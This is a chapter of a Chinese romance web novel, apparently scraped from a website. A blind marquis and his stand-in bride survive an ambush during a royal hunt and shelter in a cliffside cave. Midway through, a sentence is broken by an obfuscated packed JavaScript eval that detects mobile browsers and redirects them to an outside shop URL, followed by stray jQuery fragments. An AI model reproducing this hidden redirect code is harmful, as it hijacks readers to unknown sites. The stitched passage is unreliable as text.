20. 第20章

作品:《替嫁给暴戾盲夫后

    “啊啊啊!”于妙妙吓得抓紧了马背,慌张不已。


    伶渊抓着她的肩将她固定住,很是满意地拍了拍:“嗯,精神很好,这几日的药没白泡。”


    马背太高了,于妙妙甚至不敢睁开眼,只能紧紧抓着马鞍的边缘,颤抖问他:“准备什么?!”


    然而,罪魁祸首反倒是对她的慌张感到不解,很是自然道:“准备围猎了呀。”


    “围、围猎?!我?!”于妙妙更是震惊了,“我、我怎么没听说?我们不是在旁边看的吗?!”


    “你觉得我看得到?”


    “……”于妙妙默默摇头。


    伶渊嗤笑一声,一边循着她的手臂往下摸,一边说道:“我看不到,在那儿傻坐着呢?自然是自己下来跑跑有趣些。”


    周围都是人,于妙妙看着他的手从自己手臂上摸过,脸都红了。


    大庭广众之下!怎么、怎么能这样!


    “侯、侯爷……!”于妙妙微微挣扎了一下,想提醒他不要这般亲密。


    伶渊却是一点没往心里去,一把握住她的手,往缰绳上放:“但我看不见,一会儿就靠你指路了,好虞姝。”


    这一声“好虞姝”叫得于妙妙鸡皮疙瘩都起来了,他唤得小声,在旁人看来就是伶渊正一边摸着她,一边与她窃窃私语,而被困在怀中的她听得满脸通红。


    于妙妙恨不得钻进洞里躲起来!


    未等她从这窘迫中逃脱,伶渊又自顾自地开始了下一步:“抓稳了。”


    随即,他轻夹马肚,骏马发出一声嘶鸣,扬蹄奔起。


    “呜呜呜!”于妙妙吓得又闭上了眼,屏住呼吸缩在伶渊怀里不敢动弹,觉得浑身都随着马匹奔驰的步伐在晃,晃得她头晕。


    “睁开眼,”耳边传来伶渊低沉的嗓音,“有本侯在,你怕什么?”


    他的嗓音还是那般具有蛊惑性,于妙妙下意识听着他的话,缓缓睁开了眼。


    面前,宽阔的草原在高高的马背上一览无遗,凉风和日光从她的身边飞驰而过,视野里是闪烁着金光的绿野和动物的踪迹。


    伶渊听着她逐渐放松下来的呼吸,唇角一勾,话锋一转:“我们现在在往哪跑?”


    “嗯?”于妙妙面上兴奋的神情凝固,瞬息变成了慌张的惊恐,“看不见你还跑!往右!往右!前面是树!!!”


    听见她慌里慌张的,伶渊反倒乐得笑出了声,手用力一拽,拉着马首调整了方向。


    高台上,一个身着金丝凤袍的女人坐在侍卫的包围中。


    她的视线扫过那片宽阔的草原,突然定在了伶渊和于妙妙身上。


    “那个女人……”女子举着茶杯的手一顿,视线盯着于妙妙的脸,瞳孔骤缩。


    琥珀色的眼睛,深棕色的头发……


    虽说这个特征在京城内不算少见,甚至有些贫苦人家的女子若是时常吃得不好,也容易使得头发变成棕色的。


    但唯独那张脸……


    独独那张脸……


    女人唤来身边的太监,问道:“武安侯身旁的那名女子是谁?”


    太监弯身垂首,上前应道:“回皇后娘娘,那名女子此前在宴会上出现过,约摸……应当是侯夫人。”


    “侯夫人……?”皇后眉头蹙起。


    太监探了探皇后的脸色,又补充道:“又或者……是武安侯的哪个宠妾吧。”


    皇后没有回应他的话,只琢磨片刻后,对他使了个眼色。


    太监跟了她多年,自然知晓她的意思,垂首福了福身:“奴婢……这就去办。”


    皇后收回了视线,带着疑惑看向了高台不远处的张仲逑。然而,他已不在座位上。


    草场上,于妙妙正指挥着伶渊往宽阔的地方跑。


    宽阔的地方,障碍物少,即便她指挥得不到位,也不怕马匹撞上。


    但驾马的伶渊不乐意了,听着林子内其他人传来的欢呼声,低头对着于妙妙说道:“我想要进林子。”


    于妙妙反对:“林子太危险了,不能进,万一我说慢了,撞着了怎么办?”


    伶渊:“那你便说快点。”


    于妙妙一时怔住。


    他真是把强人所难发挥得一如既往。


    还没等她接着反驳,就见伶渊一脸兴奋地怂恿道:“虞姝,快,让我进去。”


    劝是劝不住的。


    于妙妙认命地抓紧缰绳,事先声明:“那你跑慢点,我、我细点讲。”


    “好。”伶渊点点头。


    于妙妙紧张地看了看通往林子的路,朝着西北位指了指:“乾。”


    伶渊即刻拉紧缰绳,引着马匹换了个方向奔驰。


    “你竟然还会这个?”伶渊笑道,“还以为你只会往前往左往右呢。”


    于妙妙解释道:“说太多……我脑子转不过来。”


    林间的树木飞快地从两人周围退去,空气清新,闻起来比鼻子外的还要舒服。


    “哈哈,”伶渊又复笑了几声,突然放开了手里的缰绳,抬手拿出了背着的弓,“我要吃兔子。”


    “嗯???”于妙妙一脸震惊地看看缰绳,又看看伶渊,“绳子,绳子!”


    伶渊却像是没听到一样,反而埋怨似的重复道:“我要吃兔子。”


    眼看着缰绳就要脱落,于妙妙赶忙自己抓住了缰绳,回头看看伶渊,又看看前面的路,心里直呼救命。


    “虞姝,兔子。”伶渊催促道。


    于妙妙满脸愁苦,只好认栽地学着伶渊方才的样子,抓好缰绳,又飞速地在林间狂扫一番,嘴里念叨着:“兔子……兔子……兔子……有了!“


    眼神死死一指,喊道:“艮,偏上!”


    早已摆好的弓闻言对准,即刻射了出去。


    长箭嗡鸣着突破空气,精准地射中了那躲在草地里的野兔。


    伶渊听着射中的响声,面上笑得更深了。


    他收回手,牵住缰绳让马匹停在了兔子的地方,对着怀里的于妙妙得意道:“有兔子吃了。”


    吃不吃的于妙妙已经无所谓了,她摸了摸自己狂跳的小心脏,只觉得自己真是跟了个祖宗出门,吓得她魂都要出窍了。


    他怎么能让一个从来都没骑过马的人拉缰绳!


    伶渊倒是一点没在意,弯身抓着那箭尾将那兔子捞了起来,扔进绳网里拴在马屁股上。


    两人又往深处跑去,进林子时还是日光高照的林间小径,在不觉间突然暗了下来。


    于妙妙抬起头来,从树叶的缝隙往上望去。


    只见原本闪烁着金光的云突然间变成了灰丫丫的颜色,林间的鸟儿虫儿都静了下来。


    空气渐渐变得闷热,于妙妙担忧地拉了拉伶渊的袖子:“侯爷,天气好像要变了。”


    伶渊双目轻阖着,细细听着林中的动静,拉着缰绳的手往内收了收,低低回道:“嗯。”


    方圆几里,林间的鸟兽在方才的围猎中被驱散开,鸟兽的气息渐渐减少,而人的气息却是逐渐在伶渊的周身增加。


    尽管他们大多用着自认为高超的隐藏技巧,但这蹩脚功夫一下便被伶渊感知到了。


    很快,躲藏在高处的人率先发起进攻,一支长箭从两人的后方射来。


    杀意随着那长箭飞驰而来,伶渊飞快地抽出腰间的短剑,紧接着铿锵几声,随着金属摩擦发出剧烈的嘶鸣,短剑和长箭同时飞落在地。


    一切都发生在眨眼之间,状况外的于妙妙回过神来时,交锋早已结束。


    她惊恐地看着地上插着的长箭,心里本能地升起一股强烈的危机感,脑海里浮现出了两个字。


    刺杀。


    不会吧……


    于妙妙抬头去看伶渊,只见伶渊面上的笑已然消退,转而是她从未见过的,严肃的,全神贯注的神色。


    她知道,这下是真的遇袭了。


    凉风拂过,带着树叶发出“沙沙”的声响,将周围更加稀碎的动静掩盖。


    于妙妙不敢出声,她怕扰乱伶渊的感觉,就是吓得手发抖都只敢掐着自己的掌心。


    下一波敌袭接踵而至。


    窸窣的密林间响起满弦的声响,紧接着,数支长箭划空袭来。


    伶渊松开握着缰绳的手,飞快地用短剑接下嗡鸣的箭刃,反手卸下长箭的锋刃,将其射向那密林之内。


    以眼还眼,躲藏在密林中的刺客中了箭刃,一个个从树上落了下来。


    就在以为一切结束时,其中一个刺客从怀中掏出一个瓶子,往两人骑着的马匹身边一砸。


    顷刻间,那瓶子爆发出剧烈的轰响,火蛇吞噬着两人周身的草叶蹿腾而上。


    受惊的马匹惊慌地乱了脚步,抬起前蹄往前逃窜而去。


    “别跑!别跑!”于妙妙惊恐地牵住缰绳,试图用言语哄住马儿冷静下来。


    但马终归是牲口,怎听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668223|187819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得懂人话。


    它冲破了弥漫的烟雾,面前视野陡然开阔,然而前方却是断崖深渊,根本无路可走。


    “停下!停下停下快停下!”于妙妙被颠得头晕眼花,眼看着断崖越来越近,下意识拉紧缰绳拼命扯住马头。


    然而,一切都无济于事。


    她看着断崖底下奔涌的江水,叫嚣着将要吞噬她,心里顿时感觉都没有了。


    “抓紧我。”


    耳边传来了伶渊平静的嗓音,下一刻,于妙妙只觉得浑身悬空一滞,腰间被什么紧紧握住,紧接着后腰被猛的一带,整个人便甩了出去。


    马匹嘶鸣着坠入断崖,被翻涌的江水吞噬。


    断崖上的刺客伸出脖子探了探,确定再无两人的踪迹后,再度消失在了密林中。


    一阵晕眩,于妙妙害怕地紧闭双眼,死死抱着触手能及的东西。


    她只觉得自己方才好像飞了起来,随即好像被一个结结实实的东西包裹着翻滚了好几圈,一直等到抱着她的东西撞上了什么,这阵混乱才逐渐平息。


    “吓傻了?”


    耳边贴着的东西微微起伏,于妙妙睁开眼,这才发现自己正缩在伶渊怀里,抓着他的衣襟不放。


    她慌忙往后退开,与他拉开距离:“侯爷,我我我不是故意的……!”


    伶渊倒也没多怪罪她,顾自扶着一旁的石墙站起来,摸找了个碎石垒成的石阶坐下。


    雨开始淅淅沥沥地下了起来,时不时伴随着雷电的轰鸣声。


    一片阴暗下,于妙妙看清了自己所在的地方。


    这里是一座悬崖边上的凹陷处,经过风霜的洗礼,逐渐成了一处洞穴。


    洞口处风雨交加,时不时有雨水溅落到于妙妙脚边。


    她往里退了退,这才没被风雨淋到。


    “侯爷……”于妙妙心中不安,下意识唤了唤伶渊,“我们现在怎么办?”


    然而,回应她的只有风雨的声音。


    身后的伶渊一改往常,此时格外地安静。


    于妙妙回头去看,只见伶渊平日轻阖的双眸间,眉心蹙起,唇角绷直着一言不发。


    “侯爷……?”


    洞口外,雨声依旧。


    伶渊听着雨声,思绪被左腿传来的锐痛给搅得浑浊。


    下雨天时,他的腿就是会这般的疼。


    疼痛会让他想起过去,想起这条腿被打断的那一日。


    那一日的背叛,绝望,痛苦。


    然后,他的心情就会变得非常糟。


    心里想毁灭一切的冲动压抑在心口,烧得他整颗心就快要炸开。


    他又复摸了摸袖口,止痛的药确实不在身上,大抵是方才不慎弄丢了。


    刺骨的疼,伴随着剧烈的瘙痒和酸胀从他的左腿弥漫开,难耐得令他将牙咬出了声响。


    平日若是遇上雨天,他便需要在浴池内用热水浸泡许久来缓解疼痛。


    有时心情不好了,就杀多几个刺客,用他们热得黏糊的血来发泄痛苦。


    但现在没有药剂,没有浴池,亦没有刺客,模糊的意识里,只觉察有一个人在这。


    是谁?


    他不知,忍耐此刻的疼痛已经让他耗了大半的意识。


    疼痛逐渐布满全身,敲击他的心脏和大脑。


    混沌的黑暗中,一个念头突然冒了出来。


    要不就杀了他?


    用他的血来发泄。


    对……杀了他……


    想要他……


    要他的血……


    他的温度……


    杀了他……


    杀了他杀了他杀了他……!


    “侯爷……?”


    于妙妙觉察到伶渊的不大对劲。


    平日里,就算他再怎么不乐意,也不会像这般沉默不语,甚至额前都渗出一层冷汗,隐隐觉得他特别痛苦。


    她担忧地朝他走近,怎知脚下一个踉跄,朝着他摔了过去。


    在一片混沌中,伶渊听见了女人的声音。


    血腥的冲动在痛苦的煎熬下翻江倒海,他松开掐在左膝上的手,作势要将面前的人杀了。


    然而,身前忽的觉察到对方飞快地朝他袭来。


    紧接着,随着一阵温软的香气飘过他的鼻尖,他的左膝被一股柔软温暖的快感紧紧包裹住,面庞扬起,嘴里不受控制地发出了舒服的喟叹:


    “啊……”